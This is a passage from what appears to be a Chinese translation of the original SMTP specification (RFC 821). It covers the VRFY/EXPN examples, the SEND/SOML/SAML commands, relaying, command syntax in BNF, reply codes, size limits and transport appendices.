在一些主机中，邮箱列表和一个邮箱的代名有一点不清楚，因为一般的数据结构可能包括两种类型的入口。如果要发出对邮件列表的确认，应该给出确定响应。在接收到这个消息后，主机将把邮件传送到列表上所有的地址上去，如果没有接收到确定响应，就会报告错误。例如，"550 That is a mail list, not a user name"。如果请求用于扩展一个用户名，可能通过返回包括一个名字的列表来形成确定响应，如果没有接收到确定响应，就会报告错误。（例如， "550 That is a user name, not a mailing list"）。

在多个响应的情况下（通常是对于EXPN而言的），每个应答指定一个邮箱。在模糊请求的情况下，例如"VRFY Smith"，这里两个Smith的响应必须是"553 User ambiguous"。

确认用户名的情况如下例所示：例3：

-------------------------------------------------------------

确认用户名

S: VRFY Smith R: 250 Fred Smith <Smith@USC-ISIF.ARPA>

或者

S: VRFY Smith

R: 251 User not local; will forward to <Smith@USC-ISIQ.ARPA>

或者

S: VRFY Jones

R: 550 String does not match anything.

或者

S: VRFY Jones

R: 551 User not local; please try <Jones@USC-ISIQ.ARPA>

或者

S: VRFY Gourzenkyinplatz

R: 553 User ambiguous.

-------------------------------------------------------------

邮箱列表要求多个响应的情况如下例所示：

-------------------------------------------------------------

扩展邮件列表的例子

S: EXPN Example-People

R: 250-Jon Postel <Postel@USC-ISIF.ARPA>

R: 250-Fred Fonebone <Fonebone@USC-ISIQ.ARPA>

R: 250-Sam Q. Smith <SQSmith@USC-ISIQ.ARPA>

R: 250-Quincy Smith <@USC-ISIF.ARPA:Q-Smith@ISI-VAXA.ARPA>

R: 250-<joe@foo-unix.ARPA>

R: 250 <xyz@bar-unix.ARPA>

或者

S: EXPN Executive-Washroom-List

R: 550 Access Denied to You.

-------------------------------------------------------------

VERF和EXPN命令的字符串命令参数因为具体实现的不同而不能再加以限制了。在一些系统上，EXPN命令的参数可能是一个包含邮件列表的文件名，但是在Internet上有许多不同的文件结构。

VRFY和EXPN命令在最小实现中并不包括，当它们实现时，它们也不要求被在传送间实现。

3.4. 发送信件(mailing)和获得信件(sending)

SMTP的主要目的是将邮件发送到用户的邮箱中。由一些主机提供的类似的功能是把邮件送至用户的终端（如果用户正打开终端）。将邮件送到用户的邮箱中称为发送信件（mailing）；而送至用户终端则称之为获得信件（sending）。因为在一些主机上，这两者的实现十分类似，所以它们同时被放入了SMTP中。然而，获得信件命令在SMTP的最小实现中是没有的。用户应该具有控制向终端上写信息的能力。大部分主机允许用户接受或者拒绝类似的信息。

下面三个命令被定义来支持获得信件。它们被用于邮件命令而不是MAIL命令，指示接收SMTP这种操作的特殊意义：

SEND <SP> FROM:<reverse-path> <CRLF>

SEND命令要求邮件内容直接传送到用户终端。如果用户未打开终端（或者未接收终端信息），450响应将返回一个RCPT命令。如果信息被成功发送，此操作成功。

SOML <SP> FROM:<reverse-path> <CRLF>

Send或者MaiL命令要求将邮件内容直接发送到用户的终端上（如果用户在终端上）。如果用户不在终端上，邮件内容直接进入邮箱。如果邮件被发送到用户终端或者用户信箱，发送操作成功。

SAML <SP> FROM:<reverse-path> <CRLF>

Send和MaiL命令要求邮件内容直接发送到用户终端上（如果用户在终端上）。不管怎么样，信件都会进入信箱。如果信件进入信箱，发送操作成功。

用于MAIL命令的响应和这些命令的响应相同。

3.5. 打开和关闭

当打开传送通道时，要交换一些信息以确定双方的身份。以下的命令是用于打开和关闭的：

HELO <SP> <domain> <CRLF>

QUIT <CRLF>

在HELLO命令中，主机自己发送命令，此命令可以被解释为：“你好，我是XX”。

-------------------------------------------------------------

打开联结的例子

R: 220 BBN-UNIX.ARPA Simple Mail Transfer Service Ready

S: HELO USC-ISIF.ARPA

R: 250 BBN-UNIX.ARPA

-------------------------------------------------------------

-------------------------------------------------------------

关闭联结的例子

S: QUIT

R: 221 BBN-UNIX.ARPA Service closing transmission channel

-------------------------------------------------------------

3.6. 转发

转发路径可能是如下格式："@ONE,@TWO:JOE@THREE"，在这里，ONE，TWO和THREE是主机。这种格式用于强调地址和路径的区别。邮箱是绝对地址，路径是关于如何到达的信息。这两个概念不应该被混淆。

概念上，转发路径的元素被移动到回复路径作为从一个SMTP服务器到另一个SMTP服务器的信息。回复路径是一个反向数据源路径，例如从当前信息的位置到发起者的位置。当一个SMTP服务器从转发路径中删除自己的标记并将它插入到回复路径中时，它必须使用它发送环境能够理解的名称来进行，以防它的名称在不同的环境中被理解为不同的名字。

如果当SMTP接收到信息的转发路径的第一个元素不是此SMTP的标记时，此元素不从转发路径中删除，而被用来决定下一个应该发送到的SMTP服务器。在任何情况下，SMTP都将自己的标记加入反向路径中。

使用源路径时，接收SMTP接收转发的邮件并发送到另一接收SMTP服务器上。接收服务器可以接受或拒绝转发本地用户的邮件。接收SMTP通过将它自己的标记从转发路径移至回复路径的开始处来改变命令参数。这时，接收SMTP变成了发送SMTP，也就建立了到下一个转发路径中SMTP的通道，然后，它向这个SMTP发送邮件。

在回复路径上的头一个主机应是发送SMTP命令的主机，在转发路径上第一个主机应是接收SMTP命令的主机。

注意：转发路径和回复路径出现在SMTP命令和应答中，但不一定要出现在信息中。也就是说，没有必须要这样的路径特别这种格式出现在信息头的"To:"，"From:"和"CC:"等域中。

如果SMTP服务器接受了转发任务，但后来它发现因为转发路径不正确或者其它原理无法发送邮件，它必须建立一个"undeliverable mail"信号，将它此信号送到此信的发主者那里。

此信号必须是从此主机的SMTP服务上发出的，当然了，此服务器不应该再报告出错信息的错误。一种阻止这种出错报告循环的情况是在信号的邮件命令的回复路径上置空。在传送此信息时，允许将回复路径也置为空。一个MAIL命令后的回复路径为空表现为如下形式：

MAIL FROM:<>

下例中显示了不可传送的邮件信息。此信息是对从HOSTW上的JOE发出的邮件经过在HOSTX需要经过HOSTZ到达HOSTY时出错的回应。我们看到的例子是在HOSTX和HOSTY之间发生的。

-------------------------------------------------------------

不可传送邮件信息的例子

S: MAIL FROM:<>

R: 250 ok

S: RCPT TO:<@HOSTX.ARPA:JOE@HOSTW.ARPA>

R: 250 ok

S: DATA

R: 354 send the mail data, end with .

S: Date: 23 Oct 81 11:22:33

S: From: SMTP@HOSTY.ARPA

S: To: JOE@HOSTW.ARPA

S: Subject: Mail System Problem

S:

S: Sorry JOE, your message to SAM@HOSTZ.ARPA lost.

S: HOSTZ.ARPA said this:

S: "550 No Such User"

S: .

R: 250 ok

-------------------------------------------------------------

3.7. 域

域是最近被引入ARPA Internet邮件系统的。使用域可以使地址空间从一个平面的普通字符串主机名变成全局地址的一个层次结构。主机由一个域名取代，起始主机是由一系列元串组成，它们由逗号按最特殊到一般的顺序排列。

例如，"USC-ISIF.ARPA"，"Fred.Cambridge.UK"和"PC7.LCS.MIT.ARPA"可能是主机-域标识符。

无论域名在SMTP中如何使用，只有正式的名称才可以被使用，不可以使用假名或昵称。

3.8. 改变角色

TURN命令可以用来改变在传输信道上通信的程序的角色。如果程序A现在是发送SMTP，它发送TURN命令并接到OK应答（250）后，它就变为接收SMTP了。同理，程序B也可以从接收SMTP变为发送SMTP。若要拒绝改变角色，接收方可以发送502作为应答。

注意：此命令是可选的。在使用TCP的传输信道时，一般不使用此命令。然而，当建立传输信道的代价比较大时，此命令很有用。例如，此命令可以支持一般公共交换电话系统作为传输信道。

4. SMTP说明

4.1. SMTP命令

4.1.1. 命令语法

SMTP命令定义了邮件传输或由用户定义的系统功能。它的命令是由<CRLF>结束的字符串。而在带有参数的情况下，命令本身由<SP>和参数分开，如果未带参数可以直接和<CRLF>连接。邮箱的语法格式必须和接收站点的格式一致。下面讨论SMTP命令和应答。

发送邮件操作涉及到不同的数据对象，它们由不同的参数相互连接。回复路径就是MAIL命令的参数，而转发路径则是RCPT命令的参数，邮件日期是DATA命令的参数。这些参数或者数据对象必须跟在命令后。这种模式也就要求有不同的缓冲区来存储这些对象，也就是说，有一个回复路径缓冲区，一个转发路径缓冲区，一个邮件内容缓冲区。特定的命令产生自己的缓冲区，或使一个或多个缓冲的内容被清除。

HELLO (HELO)

此命令用于向接收SMTP确认发送SMTP。参数域包括发送SMTP的主机名。接收SMTP通过连接确认命令来向发送SMTP确认接收SMTP。引命令和OK响应确认发送和接收SMTP进入了初始状态，也就是说，没有操作正在执行，所有状态表和缓冲区已经被子清除。

MAIL (MAIL)

此命令用于开始将邮件发送到一个多个邮箱中。参数域包括回复路径。返回路径中包括了可选的主机和发送者邮箱列表。当有主机列表时，它是一个回复路径源，它说明此邮箱是由在表中的主机一一传递发送（第一个主机是最后一个接收到此邮件的主机）过来的。此表也有作向发送者返回非传递信号的源路径。因为每个传递主机地址都被加在此表起始处，它就必须使用发送IPCE而不是接收IPCE（如果它们不是一个IPCE的话）清楚的名称。一些出错信息的回复路径可能就是空的。

此命令清除回复路径缓冲区，转发路径缓冲区和邮件内容缓冲区，并且将此命令的回复路径信息插入到回复路径缓冲区中。

RECIPIENT (RCPT)

此命令用于确定邮件内容的唯一接收者；多个接收者将由多个此命令指定。转发路径中包括一个可选的主机和一个必须的目的邮箱。当出现主机列表时，这就是一个源路径，它指明邮件必须向列表中的上一个主机发送。如果接收SMTP未实现邮件的传递发送，就会返回如未知本地用户（550）的信息给用户。

当邮件被传递发送时，传递主机必须将自己的名称由转发路径的开始处移至回复路径的结束处。当邮件最终到达目的地时，接收SMTP将以它的主机邮件格式自己的名称插入目标邮件中。例如，由传递主机A接收的带有如下参数的邮件时，

FROM:<USERX@HOSTY.ARPA>

TO:<@HOSTA.ARPA,@HOSTB.ARPA:USERC@HOSTD.ARPA>

将会变成如下形式：

FROM:<@HOSTA.ARPA:USERX@HOSTY.ARPA>

TO:<@HOSTB.ARPA:USERC@HOSTD.ARPA>.

此命令导致它的转发路径参数加入转发路径缓冲区中。

DATA (DATA)

接收者将跟在命令后的行作为邮件内容。此命令导致此命令后的邮件内容加入邮件内容缓冲区。邮件内容可以包括所有128个ASCII码字符。邮件内容由只包括一个句号的行结束，也就是如下的字符序列："<CRLF>.<CRLF>"，它指示了邮件的结束。

邮件内容的结束指示要求接收者现在就处理保存的邮件内容。此过程将回复路径缓冲区，转发路径缓冲区和邮件内容缓冲区的内容全部清空。如果操作成功，接收者必须返回OK应答；如果失败也必须返回失败应答。

当接收SMTP收到一条信息时，无论是用作转发还是此邮件已经到达目的地，它都必须在邮件内容的开始处加上时间戳这一行，这一行指示了接收到邮件主机和发出此邮件主机的标识，以及接收到邮件内容的时间和日期。转发的信件将有多行这样的时间戳。当接收SMTP作最后一站的传送时，它将返回路径信息行插入邮件中。此行包括了发送命令中的<reverse-path>的信息。在这里，最后一站的传送的意思是邮件将被送到目的用户手中，但在一些情况下，邮件可能需要更进一步的加工并由另外的邮件系统传送。

可能在返回路径中的邮箱与实际发送的邮件不一致，这个情况可能发生在需要传送一个特定的错误处理信箱而不是信件发送者那里。上面所述说明了，最后的邮件内容由一个返回路径行，和在其后的一个或多个时间戳行构成。这些行后面是邮件内容的头和体信息。

当处理后面的邮件数据指示部分成功时就需要特定的说明。这种情况可能发生在发送SMTP发现当邮件需要传送给多个用户时，只能够成功地向其中的一部分发送信息这种情况下。在这种情况下，必须对DATA命令发送OK应答，而接收SMTP组织并发送一个“不可传递邮件”信息到信息的发送者。在此信息中或者发送一个不成功接收者的列表，或者每次发送一个不成接收者，而发送多次。所有不可传递邮件信息由MAIL命令发送。

-------------------------------------------------------------

返回路径和接收时间戳例子

Return-Path: <@GHI.ARPA,@DEF.ARPA,@ABC.ARPA:JOE@ABC.ARPA>

Received: from GHI.ARPA by JKL.ARPA ; 27 Oct 81 15:27:39 PST

Received: from DEF.ARPA by GHI.ARPA ; 27 Oct 81 15:15:13 PST

Received: from ABC.ARPA by DEF.ARPA ; 27 Oct 81 15:01:59 PST

Date: 27 Oct 81 15:01:01 PST

From: JOE@ABC.ARPA

Subject: Improved Mailing System Installed

To: SAM@JKL.ARPA

This is to inform you that ...

-------------------------------------------------------------

SEND (SEND)

此命令用于开始一个发送命令，将邮件发送到一个或多个终端上。参数域包括了一个回复路径，此命令如果成功就将邮件发送到终端上了。

回复路径包括一个可选的主机列表和发送者邮箱。当出现主机列表时，表示这是一个传送路径，邮件就是经过这个路径上的每个主机发送到这里的（列表上第一个主机是最后经手的主机）。此表用于返回非传递信号到发送者。因为每个传递主机地址都被加在此表起始处，它就必须使用发送IPCE而不是接收IPCE（如果它们不是一个IPCE的话）清楚的名称。一些出错信息的回复路径可能就是空的。

此命令清除回复路径缓冲区，转发路径缓冲区和邮件内容缓冲区，并且将此命令的回复路径信息插入到回复路径缓冲区中。

SEND OR MAIL (SOML)

此命令用于开始一个邮件操作将邮件内容传送到一个或多个终端上，或者传送到邮箱中。对于每个接收者，如果接收者终端打开，邮件内容将被传送到接收者的终端上，否则就送到接收者的邮箱中。参数域包括回复路径，如果成功地将信息送到终端或邮箱中此命令成功。

回复路径包括一个可选的主机列表和发送者邮箱。当出现主机列表时，表示这是一个传送路径，邮件就是经过这个路径上的每个主机发送到这里的（列表上第一个主机是最后经手的主机）。此表用于返回非传递信号到发送者。因为每个传递主机地址都被加在此表起始处，它就必须使用发送IPCE而不是接收IPCE（如果它们不是一个IPCE的话）清楚的名称。一些出错信息的回复路径可能就是空的。

此命令清除回复路径缓冲区，转发路径缓冲区和邮件内容缓冲区，并且将此命令的回复路径信息插入到回复路径缓冲区中。

SEND AND MAIL (SAML)

此命令用于开始一个邮件操作将邮件内容传送到一个或多个终端上，并传送到邮箱中。如果接收者终端打开，邮件内容将被传送到接收者的终端上和接收者的邮箱中。参数域包括回复路径，如果成功地将信息送到邮箱中此命令成功。

回复路径包括一个可选的主机列表和发送者邮箱。当出现主机列表时，表示这是一个传送路径，邮件就是经过这个路径上的每个主机发送到这里的（列表上第一个主机是最后经手的主机）。此表用于返回非传递信号到发送者。因为每个传递主机地址都被加在此表起始处，它就必须使用发送IPCE而不是接收IPCE（如果它们不是一个IPCE的话）清楚的名称。一些出错信息的回复路径可能就是空的。

此命令清除回复路径缓冲区，转发路径缓冲区和邮件内容缓冲区，并且将此命令的回复路径信息插入到回复路径缓冲区中。

RESET (RSET)

此命令指示当送邮件操作将被放弃。任何保存的发送者，接收者和邮件内容应该被抛弃，所有缓冲区和状态表应该被清除，接收方必须返回OK应答。

VERIFY (VRFY)

此命令要求接收者确认参数是一个用户。如果这是（已经知道的）用户名，返回用户的全名和指定的邮箱。此命令对回复路径缓冲区，转发路径缓冲区和邮件内容缓冲区没有影响。

EXPAND (EXPN)

此命令要求接收者确认参数指定了一个邮件发送列表，如果是一个邮件发送列表，就返回表中的成员。如果这是（已经知道的）用户名，返回用户的全名和指定的邮箱。此命令对回复路径缓冲区，转发路径缓冲区和邮件内容缓冲区没有影响。

HELP (HELP)

此命令导致接收者向HELP命令的发送者发出帮助信息。此命令可以带参数，并返回特定的信息作为应答。此命令对回复路径缓冲区，转发路径缓冲区和邮件内容缓冲区没有影响。

NOOP (NOOP)

此命令不影响任何参数和已经发出的命令。它只是说明没有任何操作而不是说明接收者发送了一个OK应答。此命令对回复路径缓冲区，转发路径缓冲区和邮件内容缓冲区没有影响。

QUIT (QUIT)

此命令指示接收方必须发送OK应答然后关闭传送信道。接收方在接到QUIT命令并做出响应之前不应该关闭通信信道。发送方在发送QUIT命令和接收到响应之前也不应该关闭信道。即使出错，也不应该关闭信道。如果连接被提前关闭，接收方应该象接收到RSET命令一样，取消所有等待的操作，但不恢复原先已经做过的操作。而发送方应该象接收到暂时错误（4XX）一样假定命令和操作仍在支持之中。

TURN (TURN)

此命令指定接收方要么发送OK应答并改变角色为发送SMTP，要么发送拒绝信息并保持自己的角色。如果程序A现在是发送SMTP，它发出TURN命令后接收到OK（250）应答，它就变成了接收SMTP。程序A就进入初始状态，好象通信信道刚打开一样，这时它发送220准备好服务信号。如果程序B现在是接收SMTP，它发出TURN命令后接收到OK（250）应答，它就变成了发送SMTP。程序A就进入初始状态，好象通信信道刚打开一样，这时它准备接收220准备好服务信号。

若要拒绝改变角色，接收方可以发送502应答。

对于这些命令的顺序有一定的限制。对话的第一个命令必须是HELLO命令，此命令在此后的会话中也可以使用。如果HELLO命令的参数不可接受，必须由返回一个501失败应答，同时接收到的SMTP必须保持在与刚才一致的状态下。 NOOP，HELP,EXPN和VRFY命令可以在会话的任何时候使用。MAIL，SEND，SOML或SAML命令开始一个邮件操作。一旦开始了以后就要发送RCPT和DATA命令。邮件操作可以由RSET命令终止。在一个会话中可以有一个或多个操作。

如果在操作开始参数不可接受，必须返回501失败应答，同时接收到的SMTP必须保持在与刚才一致的状态下。如果操作中的命令顺序出错，必须返回503失败应答，同时接收到的SMTP必须保持在与刚才一致的状态下。

会话的最后一个命令必须是QUIT命令。此命令在会话的其它时间不能使用。

4.1.2. COMMAND语法格式

命令是由命令码和其后的参数域组成的。命令码是四个字母组成的，不区别大小写。因为下面的命令的作用是相同的：

MAIL Mail mail MaIl mAIl

这对于引导任何参数值的标记也是适用的，如TO和to就是一样的。命令码和参数由一个或多个空格分开。然而在回复路径和转发路径中的参数是区别大小写的。特别是在一些主机上，"smith"和"Smith"就根本不是一个用户。

参数域由不定长的字符串组成，它由<CRLF>结束，接收方在完全接收到此序列前不会采取任何行动。方括号代表可选的参数域。如果不选择的话，系统选择默认的设置。

下面是SMTP命令： HELO <SP> <domain> <CRLF> MAIL <SP> FROM:<reverse-path> <CRLF>

RCPT <SP> TO:<forward-path> <CRLF>

DATA <CRLF>

RSET <CRLF>

SEND <SP> FROM:<reverse-path> <CRLF>

SOML <SP> FROM:<reverse-path> <CRLF>

SAML <SP> FROM:<reverse-path> <CRLF>

VRFY <SP> <string> <CRLF>

EXPN <SP> <string> <CRLF>

HELP [<SP> <string>] <CRLF>

NOOP <CRLF>

QUIT <CRLF>

TURN <CRLF>

上面参数域的格式在下面给BNF的格式给出，其中的"..."代表对于一个域的一次或多次的重复。

<reverse-path> ::= <path>

<forward-path> ::= <path>

<path> ::= "<" [ <a-d-l> ":" ] <mailbox> ">"

<a-d-l> ::= <at-domain> | <at-domain> "," <a-d-l>

<at-domain> ::= "@" <domain>

<domain> ::= <element> | <element> "." <domain>

<element> ::= <name> | "#" <number> | "[" <dotnum> "]"

<mailbox> ::= <local-part> "@" <domain>

<local-part> ::= <dot-string> | <quoted-string>

<name> ::= <a> <ldh-str> <let-dig>

<ldh-str> ::= <let-dig-hyp> | <let-dig-hyp> <ldh-str>

<let-dig> ::= <a> | <d>

<let-dig-hyp> ::= <a> | <d> | "-"

<dot-string> ::= <字符串> | <字符串> "." <dot-string>

<字符串> ::= <字符> | <字符> <字符串>

<quoted-string> ::= """ <qtext> """

<qtext> ::= "" <x> | "" <x> <qtext> | <q> | <q> <qtext>

<字符> ::= <c> | "" <x>

<dotnum> ::= <snum> "." <snum> "." <snum> "." <snum>

<number> ::= <d> | <d> <number>

<CRLF> ::= <CR> <LF>

<CR> ::= 回车符（ASCII码13） <LF> ::= （ASCII码10）

<SP> ::= 空格（ASCII码32） <snum> ::=由一个，两个或三个数字组成的介于0-255之间的数字

<a> ::= 所有A-Z的52个大小写英文字母

<c> ::= 128个ASCII字符，但不包括空格和特殊字符

<d> ::= 0-9数字

<q> ::=不包括<CR>，<LF>，"或\u30340的128个ASCII字符

<x> ::=所有128个ASCII字符

<special> ::= "<" | ">" | "(" | ")" | "[" | "]" | "" | "." | "," | ";" | ":" | "@" """ 或控制字符

注意： ""是一个转意字符，它表示在其后的字符代表另外的意义。例如"Joe,Smith"用于表示单独一个由逗号分隔的用户名。主机通常由转化为地址的名称代表。注意：域的名称元素是正式的名称，不能够使用昵称或假名。

有时候名称的转变机制可能不知道主机，这就造成了通信的阻塞。为了解决这个问题，可以采取两种方法：一种方法是：在"#"后加入一个十进制数表示主机地址；另一种方法是在其后加入32位的IP地址，IP地址的形式是由句号分隔的四个介于0-255之间的十进制数。时间戳行和返回路径行的格式通常由下面定义：

<return-path-line> ::= "Return-Path:" <SP><reverse-path><CRLF>

<time-stamp-line> ::= "Received:" <SP> <stamp> <CRLF>

<stamp> ::= <from-domain> <by-domain> <opt-info> ";" <daytime>

<from-domain> ::= "FROM" <SP> <域> <SP>

<by-domain> ::= "BY" <SP> <域> <SP>

<opt-info> ::= [<via>] [<with>] [<id>] [<for>]

<via> ::= "VIA" <SP> <连接> <SP>

<with> ::= "WITH" <SP> <协议> <SP>

<id> ::= "ID" <SP> <字符串> <SP>

<for> ::= "FOR" <SP> <路径> <SP>

<连接> ::= 在网络信息中心注册的连接的标准名称

<协议> ::= 在网络中心注册的协议的名称

<daytime> ::= <SP> <日期> <SP> <时间>

<日期> ::= <日> <SP> <月> <SP> <年>

<时间> ::= <小时> ":" <分> ":" <秒> <SP> <时区>

<dd> ::= 由一个或两个数字组成的每月1-31日

<月> ::= "JAN" | "FEB" | "MAR" | "APR" | "MAY" | "JUN" | "JUL" | "AUG" | "SEP" | "OCT" | "NOV" | "DEC"

<年> ::= 由两位数字表示本世界的年代00-99

<小时> ::= 每天的24小时，由0到24

<分> ::= 每小时的分钟数0-59

<秒> ::= 每分钟的秒数0-59

<时区> ::= 全球标准时区

-------------------------------------------------------------

返回路径例子

Return-Path: <@CHARLIE.ARPA,@BAKER.ARPA:JOE@ABLE.ARPA>

-------------------------------------------------------------

-------------------------------------------------------------

时间戳行例子

Received: FROM ABC.ARPA BY XYZ.ARPA ; 22 OCT 81 09:23:59 PDT

Received: from ABC.ARPA by XYZ.ARPA via TELENET with X25

id M12345 for Smith@PDQ.ARPA ; 22 OCT 81 09:23:59 PDT

-------------------------------------------------------------

4.2. SMTP响应

对SMTP命令的响应是多样的，它确定了在邮件传输过程中请求和处理的同步，也保证了发送SMTP知道接收SMTP的状态。每个命令必须有且只有一个响应。

SMTP响应由三位数字组成，其后跟一些文本。数字帮助决定下一个应该进入的状态，而文本对人是有意义的。三位的响应已经包括了足够的信息，不用再阅读文本，文本可以直接抛弃或者传递给用户。特别的是，文本是与接收和环境相关的，所以每次接收到的文本可能不同。在附录E中可以看到全部的响应码。正规的情况下，响应由下面序列构成：三位的数字，<SP>，一行文本和一个<CRLF>，或者也可以是一个多行响应。只有EXPN和HELP命令可以导致多行应答，然而，对所有命令，多行响应都是允许的。

4.2.1. REPLY CODES BY FUNCTION GROUPS 500 格式错误，命令不可识别（此错误也包括命令行过长）

501 参数格式错误

502 命令不可实现

503 错误的命令序列

504 命令参数不可实现

211 系统状态或系统帮助响应

214 帮助信息

220 <domain> 服务就绪

221 <domain> 服务关闭传输信道

421 <domain> 服务未就绪，关闭传输信道（当必须关闭时，此应答可以作为对任何命令的响应）

250 要求的邮件操作完成

251 用户非本地，将转发向<forward-path>

450 要求的邮件操作未完成，邮箱不可用（例如，邮箱忙）

550 要求的邮件操作未完成，邮箱不可用（例如，邮箱未找到，或不可访问）

451 放弃要求的操作；处理过程中出错

551 用户非本地，请尝试<forward-path>

452 系统存储不足，要求的操作未执行

552 过量的存储分配，要求的操作未执行

553 邮箱名不可用，要求的操作未执行（例如邮箱格式错误）

354 开始邮件输入，以<CRLF>.<CRLF>结束

554 操作失败

4.3. 命令和应答序列

发送者和接收者之间的通信是一问一答的交替对话形式，由发送者控制。这样，发送发出一条命令，接收者发出一个响应。接收者在发送下一条指令前必须等应答。一个重要的应答是连接应答。在连接完成时，接收者通常会发送220“服务就绪”。发送者在继续发送指令前会等待此应答。注意：每个连接应答必须拥有服务主机的正式名称作为第一部分，其后跟响应码。例如：

220 <SP> USC-ISIF.ARPA <SP> Service ready <CRLF>

下面列出了成功和失败应答，这些应答必须遵守严格的次序，接收者可以不理会应答中的文本，但是由数字指定的意义和操作和命令应答序列不能更改。命令响应序列：

每个命令列出了它可能的应答。使用在可能应答前的前缀“P”表示预备的（未用在SMTP中），“I”表示中间的，“S”表示成功，“F”表示失败，“E”表示错误。如果STMP接收者必须关闭信道，可以对任何命令作出421（服务不可用，关闭传输信道）响应。此表基于下面要讲述的状态图：

CONNECTION ESTABLISHMENT（建立连接）

S: 220

F: 421

HELO

S: 250

E: 500, 501, 504, 421

MAIL

S: 250

F: 552, 451, 452

E: 500, 501, 421

RCPT S: 250, 251 F: 550, 551, 552, 553, 450, 451, 452 E: 500, 501, 503, 421

DATA

I: 354 -> data -> S: 250

F: 552, 554, 451, 452

F: 451, 554

E: 500, 501, 503, 421

RSET

S: 250

E: 500, 501, 504, 421

SEND

S: 250

F: 552, 451, 452

E: 500, 501, 502, 421

SOML

S: 250

F: 552, 451, 452

E: 500, 501, 502, 421

SAML

S: 250

F: 552, 451, 452

E: 500, 501, 502, 421

VRFY

S: 250, 251

F: 550, 551, 553

E: 500, 501, 502, 504, 421

EXPN

S: 250

F: 550

E: 500, 501, 502, 504, 421

HELP

S: 211, 214

E: 500, 501, 502, 504, 421

NOOP

S: 250

E: 500, 421

QUIT

S: 221

E: 500

TURN

S: 250

F: 502

E: 500, 503

4.4. 状态图

下面状态图是一个简单的SMTP实现，每一组命令都有一个状态图。在图中，只使用了响应码的第一位数字作为响应的代表。命令组是对每个命令建立模式然后以结构模式将命令集中起来的。对于每个命令有三种可能的应答：成功（S），失败（F）和错误（E）。在状态中，我们使用B代表开始，使用W代表等待应答。

此状态图使用了如下命令：HELO, MAIL, RCPT, RSET, SEND, SOML, SAML, VRFY, EXPN, HELP, NOOP, QUIT, TURN.

下面是对于DATA命令的更复杂的状态图：

注意：这里的邮件内容是多行的，接收者只能收到最后一行时才发出应答。

4.5. 详细内容

4.5.1. 最小实现

为使SMTP能够工作，对于接收者来说，这是最少应该实现的命令：

COMMANDS -- HELO

MAIL

RCPT

DATA

RSET

NOOP

QUIT

4.5.2. 透明性

没有对数据透明性的保证，在发送类似"<CRLF>.<CRLF>"结束邮件内容时会发生错误。通常，用户不关心这个“非法”序列。若要所有用户能够透明地使用必须使用以下措施：

1. 在发送邮件之间，发送SMTP必须检查邮件的每一行，如果是一个句号，就在行首再加一个句号。

2. 当邮件被接收时，接收SMTP必须检查邮件的每一行，如果发现一行仅有一个句号，邮件就此结束，如果一行中有两个句号，那么这一行中就只应该有一个句号，而将第一个句号删除。

发送的邮件内容可以包括所有128个ASCII字符。所有字符发送到收信者的邮箱，包括格式符号和其它控制字符。如果传输信道提供一个8位数据流，7位的ASCII码就可以在其中传送，而将最高位置为0。一些系统在接收和存储时需要对数据进行格式转换。对于使用不同于ASCII字符集的主机或不能以串的形式而只能以记录形式存储的主机更是如此，如果必须进行转换，必须能够再次转换回来，对于用于存储转发的主机更是如此。

4.5.3. 大小

一些对象需要最大和最小大小。也就是说，每个实现必须能够接收大于最小大小的对象，不能发送大于最大大小的对象。对于可能的最大大小，实现技术上并没有限制。

用户

用户名的最大长度是64个字节。

域

域的最大长度是64个字符

路径

回复路径和转发路径的最大长度是256个字符

命令行

命令行的最大长度，包括回车符为512个字符

应答行

应答行的最大长度，包括回车符为512个字符

文本行

文本行的最大长度，包括回车符和为透明性增加的字符不得超过1000个字符

接收缓冲区

接收缓冲区最多可以容纳100个接收者

如果出错，应答如下：

500 行过长

501 路径过多

552 接收者过多

552 邮件内容过多

附录 A TCP传输服务

传输控制协议（TCP）在ARPA Internet中使用，并遵守网络协议的US DoD标准。

SMTP传输信道连接建立在发送进程的端口U和接收进程的端口L上。一个单一的全双工信道用于传输。被指定用于此协议的服务端口为25，也就是说L=25。TCP连接支持传输8位字节，而SMTP只需要传输7位；这样，每个8位字符的最高位被置为0。

附录 B NCP传输服务

ARPANET主机-主机协议（由网络控制程序实现）也可以用于ARPANET。SMTP传输信道连接建立在发送进程的端口U和接收进程的端口L上；其后，根据初始连接协议（ICP）建立一对简单连接。这一对简单连接被用作传输信道。此协议被指定为连接套接字25，也就是说L=25。NCP连接支持传输8位字节，而SMTP只需要传输7位；这样，每个8位字符的最高位被置为0。

附录 C NITS

也可以使用网络独立转输服务。通过在NITS在发送进程和接收进程之间建立传输信道。发送进程执行CONNECT原语，然后等待接收ACCEPT原语。NITS连接支持传输8位字节，而SMTP只需要传输7位；这样，每个8位字符的最高位被置为0。

附录 D X.25传输服务

可以直接使用公共数据网络接收的X.25服务，然而，推荐在其上使用可靠的端到端的协议如TCP。

附录 E 应答码构成方法

三位的应答码每一位都有特定的意义。每一位应答表示是否是成功的，失败的或未完成的。通过这一位，不复杂的SMTP发送就可以决定下一步的操作，如果发送方希望大概了解究竟出了什么问题，它可以检测第二位，而第三位则保存了最后更完整的信息。也就是说，从第一位到第三位，接收方可以一步比一步精确地确定接收方的状态。对于第一位有五种可能的表示代表不同的意义：

1yz 部分完成应答

命令被接受，但是要求的操作被中止，原因在应答码中。发送方应该再次发送另一命令指明是否继续操作，或者放弃操作。

2yz 全部完成应答

要求的操作已经完成，可以开始另一个新的请求。

3yz 需要近一步信息的部分完成应答

命令被接受，但是要求的操作被中止，需要接收进一步的信息。发送方应该发送另一条命令指明进一步的信息。

4yz 暂时未完成应答

命令未被接受，要求的操作也未执行，但是发生错误的状态是暂时的，可以再一次请求操作。发送者应该返回命令序列的开始命令（如果有的话）。很难解释这个暂时的意义，特别对于两个不同的站点来说。区别应答是属于些类还是下一类的方法是：如果能够不加任何改变地重复的再一次发送命令，就是本类的，如果不是，就是下一类（5yz）的。

5yz 永久未完成应答

命令未被接受，要求的操作未完成。发送对命令的重复不起作用。即使一些出错条件已经改变，但是用户已经不希望重试，而希望在未来的某个时间再进行操作。

应答的第二位的意义有以下几类：

x0z 语法：此类型的应答是针对以下情况的：语法错误；符合语法但命令不存在功能；未完成或冗余的命令。

x1z 信息：此类型的应答是用于请求信息的，如状态或帮助信息。

x2z 连接：此类型的应答是关于传输信道的。

x3z 未使用。

x4z 未使用。

x5z 邮件系统：此类型的应答指明接收方邮件系统关于请求传送或其它操作的状态的。

